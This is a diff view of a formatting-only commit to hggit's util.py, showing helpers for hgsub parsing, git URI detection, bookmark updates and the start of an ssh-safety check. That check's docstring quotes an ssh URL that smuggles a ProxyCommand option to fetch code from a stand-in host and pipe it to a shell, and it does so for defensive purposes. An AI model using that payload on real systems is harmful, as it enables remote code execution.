comparison hggit/util.py @ 1115:8ed6c0cae9b8

cleanup: add some blank lines
author Sean Farley <sean@farley.io>
date Mon, 27 Nov 2017 18:46:07 -0500
parents 21264429a8d4
children 6141895a53c9
comparison
equal deleted inserted replaced
1114:6ef251fdbb30 1115:8ed6c0cae9b8
16 util as hgutil, 16 util as hgutil,
17 ) 17 )
18 18
19 gitschemes = ('git', 'git+ssh', 'git+http', 'git+https') 19 gitschemes = ('git', 'git+ssh', 'git+http', 'git+https')
20 20
21
21 def parse_hgsub(lines): 22 def parse_hgsub(lines):
22 """Fills OrderedDict with hgsub file content passed as list of lines""" 23 """Fills OrderedDict with hgsub file content passed as list of lines"""
23 rv = OrderedDict() 24 rv = OrderedDict()
24 for l in lines: 25 for l in lines:
25 ls = l.strip() 26 ls = l.strip()
27 continue 28 continue
28 name, value = l.split('=', 1) 29 name, value = l.split('=', 1)
29 rv[name.strip()] = value.strip() 30 rv[name.strip()] = value.strip()
30 return rv 31 return rv
31 32
33
32 def serialize_hgsub(data): 34 def serialize_hgsub(data):
33 """Produces a string from OrderedDict hgsub content""" 35 """Produces a string from OrderedDict hgsub content"""
34 return ''.join(['%s = %s\n' % (n, v) for n, v in data.iteritems()]) 36 return ''.join(['%s = %s\n' % (n, v) for n, v in data.iteritems()])
37
35 38
36 def parse_hgsubstate(lines): 39 def parse_hgsubstate(lines):
37 """Fills OrderedDict with hgsubtate file content passed as list of lines""" 40 """Fills OrderedDict with hgsubtate file content passed as list of lines"""
38 rv = OrderedDict() 41 rv = OrderedDict()
39 for l in lines: 42 for l in lines:
42 continue 45 continue
43 value, name = l.split(' ', 1) 46 value, name = l.split(' ', 1)
44 rv[name.strip()] = value.strip() 47 rv[name.strip()] = value.strip()
45 return rv 48 return rv
46 49
50
47 def serialize_hgsubstate(data): 51 def serialize_hgsubstate(data):
48 """Produces a string from OrderedDict hgsubstate content""" 52 """Produces a string from OrderedDict hgsubstate content"""
49 return ''.join(['%s %s\n' % (data[n], n) for n in sorted(data)]) 53 return ''.join(['%s %s\n' % (data[n], n) for n in sorted(data)])
54
50 55
51 def transform_notgit(f): 56 def transform_notgit(f):
52 '''use as a decorator around functions that call into dulwich''' 57 '''use as a decorator around functions that call into dulwich'''
53 def inner(*args, **kwargs): 58 def inner(*args, **kwargs):
54 try: 59 try:
55 return f(*args, **kwargs) 60 return f(*args, **kwargs)
56 except errors.NotGitRepository: 61 except errors.NotGitRepository:
57 raise hgutil.Abort('not a git repository') 62 raise hgutil.Abort('not a git repository')
58 return inner 63 return inner
64
59 65
60 def isgitsshuri(uri): 66 def isgitsshuri(uri):
61 """Method that returns True if a uri looks like git-style uri 67 """Method that returns True if a uri looks like git-style uri
62 68
63 Tests: 69 Tests:
95 r'(?<!-)\.)+[a-zA-Z]{2,63}$)') 101 r'(?<!-)\.)+[a-zA-Z]{2,63}$)')
96 if re.match(fqdn_re, giturl): 102 if re.match(fqdn_re, giturl):
97 return True 103 return True
98 return False 104 return False
99 105
106
100 def updatebookmarks(repo, changes, name='git_handler'): 107 def updatebookmarks(repo, changes, name='git_handler'):
101 """abstract writing bookmarks for backwards compatibility""" 108 """abstract writing bookmarks for backwards compatibility"""
102 bms = repo._bookmarks 109 bms = repo._bookmarks
103 tr = lock = wlock = None 110 tr = lock = wlock = None
104 try: 111 try:
121 bms.write() 128 bms.write()
122 tr.close() 129 tr.close()
123 finally: 130 finally:
124 lockmod.release(tr, lock, wlock) 131 lockmod.release(tr, lock, wlock)
125 132
133
126 def checksafessh(host): 134 def checksafessh(host):
127 """check if a hostname is a potentially unsafe ssh exploit (SEC) 135 """check if a hostname is a potentially unsafe ssh exploit (SEC)
128 136
129 This is a sanity check for ssh urls. ssh will parse the first item as 137 This is a sanity check for ssh urls. ssh will parse the first item as
130 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. 138 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.